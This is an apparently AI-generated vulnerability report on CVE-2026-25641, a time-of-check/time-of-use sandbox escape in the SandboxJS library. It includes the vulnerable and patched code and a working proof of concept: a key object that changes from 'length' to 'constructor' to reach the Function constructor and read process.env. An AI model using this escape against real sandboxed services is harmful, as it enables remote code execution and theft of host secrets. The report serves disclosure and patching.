CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25641
10.00.04%

The Chameleon Key: Breaking SandboxJS with a Shape-Shifting Object

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 7, 2026·6 min read·7 visits

PoC Available

Executive Summary (TL;DR)

SandboxJS failed to coerce property keys to primitives before validation. Attackers can pass a stateful object as a key that returns a safe string when checked, but 'constructor' when accessed, granting access to the host environment (RCE). CVSS 10.0.

A critical Time-of-Check Time-of-Use (TOCTOU) vulnerability in SandboxJS allows attackers to bypass security restrictions and achieve Remote Code Execution (RCE). By leveraging JavaScript's dynamic type coercion, a malicious object can masquerade as a benign property key during validation checks, only to transform into a forbidden key like 'constructor' during execution.

The Hook: JavaScript's Beautiful Mess

JavaScript sandboxing is a fool's errand. I say this with love, but trying to restrict a language where [] + {} equals "[object Object]" is like trying to hold water in a sieve. SandboxJS (@nyariv/sandboxjs) is one of the brave libraries attempting this feat, offering a secure environment to run untrusted code. It promises to keep the bad guys out of your process.env and fs modules.

But here's the thing about promises in JavaScript: they are often broken by the language's own flexibility. The core of any JS sandbox is the Executor, a piece of code that intercepts variable access and function calls. It acts as the bouncer, checking every property you try to access. "Are you trying to access prototype? Denied. Are you trying to reach constructor? Get out."

CVE-2026-25641 is the story of how that bouncer got outsmarted by a guest who changed their face the moment the bouncer looked away. It’s a classic Time-of-Check Time-of-Use (TOCTOU) bug, but with a distinct JavaScript flavor: implicit type coercion.

The Flaw: The Bouncer Blinks

The vulnerability lies deep within src/executor.ts. When you run code like obj[key] inside the sandbox, the library has to verify that key isn't something dangerous. The list of dangerous keys is short but critical: __proto__, prototype, and constructor. Accessing these allows you to climb the prototype chain and break out of the sandbox.

The logic flaw was subtle. The executor took the property key b and performed a security check on it. If the check passed, it then used b to actually access the object. This sounds fine if b is a string. But in JavaScript, property keys don't have to be strings. They can be objects.

If you use an object as a key, the JavaScript engine calls that object's toString() method to figure out what string to use. The flaw was that the sandbox didn't force this conversion before the check. It let the engine do it implicitly twice: once during the security check, and once during the actual property access. This opened a race condition window—not between threads, but between operations.

The Code: A Tale of Two Coercions

Let's look at the smoking gun. The vulnerable code in the LispType.Prop handler (which handles property access) looked something like this:

// Vulnerable Logic (Conceptual)
addOps(LispType.Prop, (exec, done, ticks, a, b, ...) => {
    // 1. CHECK: Is 'b' a safe property?
    if (isUnsafe(b)) { // Implicitly calls b.toString()
        return error("Forbidden");
    }
 
    // 2. USE: Access the property
    const result = a[b]; // Implicitly calls b.toString() AGAIN
    done(result);
});

The fix, applied in commit 67cb186c41c78c51464f70405504e8ef0a6e43c3, is beautifully simple. It forces b to become a primitive string once, before any logic runs. Once it's a string, it can't change its value.

// Patched Code in src/executor.ts
addOps(LispType.Prop, (exec, done, ticks, a, b: PropertyKey, ...) => {
    // ...
    if (!isPropertyKey(b)) {
        try {
            b = `${b}`; // CRITICAL FIX: Explicit coercion happens ONCE here.
        } catch (e) {
            done(e);
            return;
        }
    }
    // Now 'b' is a static string. The check and the use see the exact same value.
    const prototypeAccess = typeof a === 'function' || !hasOwnProperty(a, b);
    // ...
});

By adding b = ${b}, the developers collapsed the quantum state of the malicious object into a single, immutable string.

The Exploit: The Chameleon Object

To exploit this, we don't need buffer overflows or heap spraying. We just need a JavaScript object with a bad attitude. We create an object that counts how many times it has been asked for its name. The first time (during the security check), it says "I am safeProperty." The second time (during execution), it screams "I am constructor!"

Here is the Proof of Concept that nets you a CVSS 10.0 score:

// The Chameleon Attack
const maliciousKey = {
    counter: 0,
    toString() {
        this.counter++;
        if (this.counter === 1) {
            return "length"; // Benign property for the check
        }
        return "constructor"; // Malicious property for the access
    }
};
 
// The sandbox checks 'maliciousKey'. toString() returns "length". Check passes.
// The sandbox executes access. toString() returns "constructor".
// We now have the constructor of an object, which is the 'Function' constructor.
const hostFunction = [][maliciousKey]; 
 
// Game Over: RCE
hostFunction("return process.env")();

Once you have the Function constructor, you are no longer in the sandbox. You are in the host execution environment. You can read environment variables, require modules (if not stripped), or just crash the server.

The Impact: Total System Compromise

Why is this a 10.0? Because it requires zero privileges, zero user interaction, and works remotely if the sandbox processes user input. If you are running a service that executes user-submitted scripts (like a rule engine, a plugin system, or an online coding interview platform) using a vulnerable version of SandboxJS, you are effectively giving shell access to the internet.

The attacker bypasses the entire security model of the library. They escape the logical container and execute code with the privileges of the Node.js process running the sandbox. If that process is running as root (please don't do that) or has access to AWS credentials in process.env, the attacker owns your infrastructure.

The Fix: Trust, but Coerce

The mitigation is straightforward: Update to @nyariv/sandboxjs version 0.8.29 immediately. This version includes the patch that enforces explicit key coercion.

For developers building their own sandboxes or validation logic: Never trust the stability of an object. In JavaScript, unless something is a primitive (string, number, boolean, symbol), its value can change between reads. Always coerce inputs to primitives (String(input) or ${input}) before performing security checks. If you validate x and then use x, you have introduced a race condition unless x is immutable.

> [!NOTE] > If you require high-assurance isolation, consider using process-level isolation like isolated-vm or actual containers/VMs. Library-level sandboxes in dynamic languages are notoriously difficult to secure completely.

Official Patches

nyarivGitHub Commit fixing the vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 89% most exploited

Affected Systems

SandboxJS (@nyariv/sandboxjs) < 0.8.29

Affected Versions Detail

Product
Affected Versions
Fixed Version
@nyariv/sandboxjs
nyariv
< 0.8.290.8.29
AttributeDetail
CVE IDCVE-2026-25641
CVSS10.0 (Critical)
CWECWE-367 (TOCTOU)
Attack VectorNetwork
ImpactRemote Code Execution (RCE)
Patch Commit67cb186c41c78c51464f70405504e8ef0a6e43c3

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1211Exploitation for Defense Evasion
Defense Evasion
CWE-367
Time-of-Check Time-of-Use (TOCTOU) Race Condition

Time-of-Check Time-of-Use (TOCTOU) Race Condition

Known Exploits & Detection

GitHub Security AdvisoryOriginal advisory containing the TOCTOU concept

Vulnerability Timeline

Patch authored by maintainer
2026-02-05
CVE-2026-25641 Published
2026-02-06
Version 0.8.29 Released
2026-02-06

References & Sources

  • [1]GHSA-7x3h-rm86-3342
  • [2]CWE-367: TOCTOU

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.